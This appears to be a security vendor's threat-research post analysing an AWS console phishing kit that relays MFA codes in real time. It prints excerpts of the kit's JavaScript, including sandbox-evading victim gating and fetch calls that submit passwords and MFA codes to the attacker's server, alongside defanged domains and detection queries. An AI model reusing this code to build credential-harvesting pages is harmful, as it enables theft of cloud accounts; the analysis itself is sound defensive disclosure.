Behind the console: An AiTM phishing kit harvesting AWS console credentials and beyond

Between June 16 and 19, 2026, Datadog Security Research observed a wave of AWS console phishing sites attempting to harvest victim credentials. Three domains, registered within the same 48-hour window and hosted on Cloudflare, impersonating the AWS login page and used adversary-in-the-middle (AiTM) techniques to capture multi-factor authentication (MFA) codes in real time. Hunt for DNS activity to the domains listed below and check AWS CloudTrail for ConsoleLogin events.

Dissecting the phishing campaign

The following three domains were registered between June 16 and 18, 2026, all through the registrar NICENIC INTERNATIONAL GROUP CO., LIMITED and hosted on Cloudflare:

Each domain served a near-identical copy of the AWS console sign-in page, designed to convince victims they were authenticating against the legitimate AWS login.

Behind the cloned page, the kit ran a server-driven flow that branched to whichever second factor the victim's account used.

Identifying a likely phishing email

We also found a likely delivery artifact for the campaign on VirusTotal. On June 19, 2026, a batch file referencing one of the phishing domains appeared on the platform. The file appears to be an attacker validation script. It pinged a non-existent domain named 15hourolddomain-bypass-ed-google-workspaceprotection-fuckgoogle[.]com, ran several curl commands against aws.us-west-login[.]com and a SendGrid URL that resolved to the phishing domain, and queried WHOIS metadata for aws.us-west-login[.]com.

The batch file also contained the structure of a phishing email impersonating AWS Support, which cited a fabricated support ticket about bandwidth throttling:

How the kit steals credentials

The operators sent phishing emails through legitimate platforms such as SendGrid and Nimbu to pass email authentication checks, a standard technique to improve deliverability and avoid spam filters.

The phishing domains cloned the AWS console login page, and the credential-harvesting logic lived in a single JavaScript file. The site has AiTM capabilities and captures second factors delivered via email, SMS, or a time-based one-time password (TOTP).

Validating the victim before rendering

When the page loads, it identifies the visitor by reading the URL parameter input_24, extracting the encrypted base64 blob, and sending a POST request to /api/check. The server likely decrypts the blob to the target email address and sets it as a cookie. This matches the observed validEmail cookie, which holds a plaintext email address.

The page then calls /api/me, which reads the cookie and returns a JSON object containing the victim's email address.

Finally, the conditional check n||!e ? null : decides whether to render the AWS phishing page or a blank page, depending on whether loading is still in progress or a valid email has been found.

function Hi(){
  let [e,t]=(0,_.useState)(null),   
      [n,r]=(0,_.useState)(!0);     
  return (0,_.useEffect)(()=>{
    window.location.origin;
    let e=new URLSearchParams(window.location.search).get(`input_24`);
    (e
      ? fetch(`/api/check`,{method:`POST`,headers:{"Content-Type":`application/json`},
          body:JSON.stringify({encrypted:e}),credentials:`include`})
      : Promise.resolve({ok:!1}))
      .then(e=>e.ok?e.json():null)
      .then(()=>fetch(`/api/me`,{credentials:`include`}))
      .then(e=>e.json())
      .then(e=>t(e.email||null))
      .finally(()=>r(!1))
  },[]),
  n||!e ? null : (0,x.jsxs)(x.Fragment,{children:[
    (0,x.jsx)(Vi,{children:(0,x.jsx)(`title`,{children:`Amazon Web Services Sign-In`})}),
    (0,x.jsx)(Jr,{})
  ]})
}

This check prevents sandboxes and researchers from analyzing the page without a valid victim email.

Relaying MFA challenges in real time

We could not test the MFA component to confirm whether the kit relays credentials to AWS and returns its response, but the available code makes this seem likely.

After a victim submits initial credentials to /api/login through either the root or IAM user form, the code reads the type field in the JSON response and navigates to the matching URL path. The server can only know which MFA path to return (sms, email, or gauth) by interacting with the legitimate AWS console sign-in page.

#Root user credential submission
let t = await fetch(`/api/login`, {
    method: `POST`,
    headers: {"Content-Type": `application/json`},
    body: JSON.stringify({username:e, password:n, isRootUser:i})
}),
r = await t.json();
if(!t.ok) throw new pr(r.message || `Login failed!`);
f(`/${r.type}`) 

The victim then lands on /email, /sms, or /gauth. Each variant has its own copy tuned to match the real AWS challenge:

{
    email: {
        header:      `Confirm you're you`,
        description: [`We sent an email with a verification code to `, o,
                      `To continue, confirm your identity using the code below.`],
        inputLabel:  `Verification code`,
        codeError:   `Verification Code is Required`
    },
    sms: {
        header:      `Additional verification required`,
        description: [`We sent a text message with a verification code to your`,
                      ` phone number`,
                      `To continue, enter your code below`],
        inputLabel:  `Verification code`,
        codeError:   `SMS Code is Required`
    },
    gauth: {
        header:      `Additional verification required`,
        description: [`To finish signing in, enter the code from your `,
                      `MFA device`],
        inputLabel:  `MFA code`,
        codeError:   `MFA Code is Required`
    }
}

The submit handler then forwards everything to /api/auth:

let e = await fetch(`/api/auth`, {
    method: `POST`,
    headers: {"Content-Type": `application/json`},
    body: JSON.stringify({
        accountId: n,     
        username:  o,     
        password:  c,    
        isRootUser: u,    
        code:      y      
    })
}),
t = await e.json();
if(!t.ok) throw new pr(t.message||`Login failed!`);
ee(`/${t.type}`)          // server picks the next route again

Tying this campaign to a concurrent SendGrid campaign

While investigating the three AWS domains, we found three more domains impersonating SendGrid. They were registered between June 16 and 18, 2026, all through the registrar NICENIC INTERNATIONAL GROUP CO., LIMITED and hosted on Cloudflare:

Note the similar naming convention between us-west-prod[.]com (SendGrid) and us-east-prod[.]com (AWS). The kit behind these SendGrid domains shares several technical traits with the input_24 kit analyzed above:

• Redirects from marketing platforms and other CRMs
• A React single-page application (SPA)
• An encrypted email verified through the URL (email instead of input_24)
• Comprehensive MFA support (/2fa/(email|sms|ga)/:twoFactorId instead of /(email|sms|gauth))

In August 2025, NVISO Labs published a blog post analyzing a kit that impersonates SendGrid and other CRM services. It appears to be the same phishing kit.

Linking the kit to prior activity

The input_24 parameter described in the gating component is a useful fingerprint for tracking this kit across campaigns.

A version of the input_24 kit has been active since July 2025, primarily targeting cryptocurrency wallets such as Trezor and Ledger. In August 2025, the domain dashboard-salesforce[.]com impersonated a Salesforce login page using the same gating function, which links it to the same kit.

Who the campaign targeted

The email validation step meant the kit rendered only for visitors whose address matched the encrypted input_24 blob. This points to a curated target list rather than indiscriminate mass phishing, since each link was built for a specific recipient.

Our analysis yielded fewer than 50 target email addresses. Given this small sample, the following observations are only indicative:

• Targets were primarily US-based.
• Job roles were primarily software engineers and engineering leadership, consistent with the kit's intended targets.

How Datadog can help

Datadog Cloud SIEM includes out-of-the-box detection rules that monitor suspicious behavior in AWS CloudTrail:

• AWS ConsoleLogin with MFA triggered Impossible Travel scenario
• AWS ConsoleLogin without MFA triggered Impossible Travel scenario

Hunt for DNS activity to the phishing domains:

@ocsf.query.hostname:("us-west-login.com" OR "aws.us-west-login.com" OR "aws-central.us-west-login.com" OR "loginportal-aws.com" OR "us-east-prod.com" OR "aws.us-east-prod.com")

If you find DNS or network hits, check CloudTrail for successful logins:

source:cloudtrail @ocsf.metadata.event_code:ConsoleLogin

A ConsoleLogin event following activity to these domains indicates a threat actor may have captured and replayed credentials.

Indicators of compromise

Conclusion

Most AWS credential theft focuses on access keys, a pattern that holds in both Datadog's internal data and public reporting. Targeted actors, however, still pursue username and password phishing against the AWS console. The AiTM capability observed here captures MFA codes in real time, which makes this campaign more dangerous than a simple credential-harvesting page. Defenders should treat AWS console phishing as an active threat rather than a secondary concern.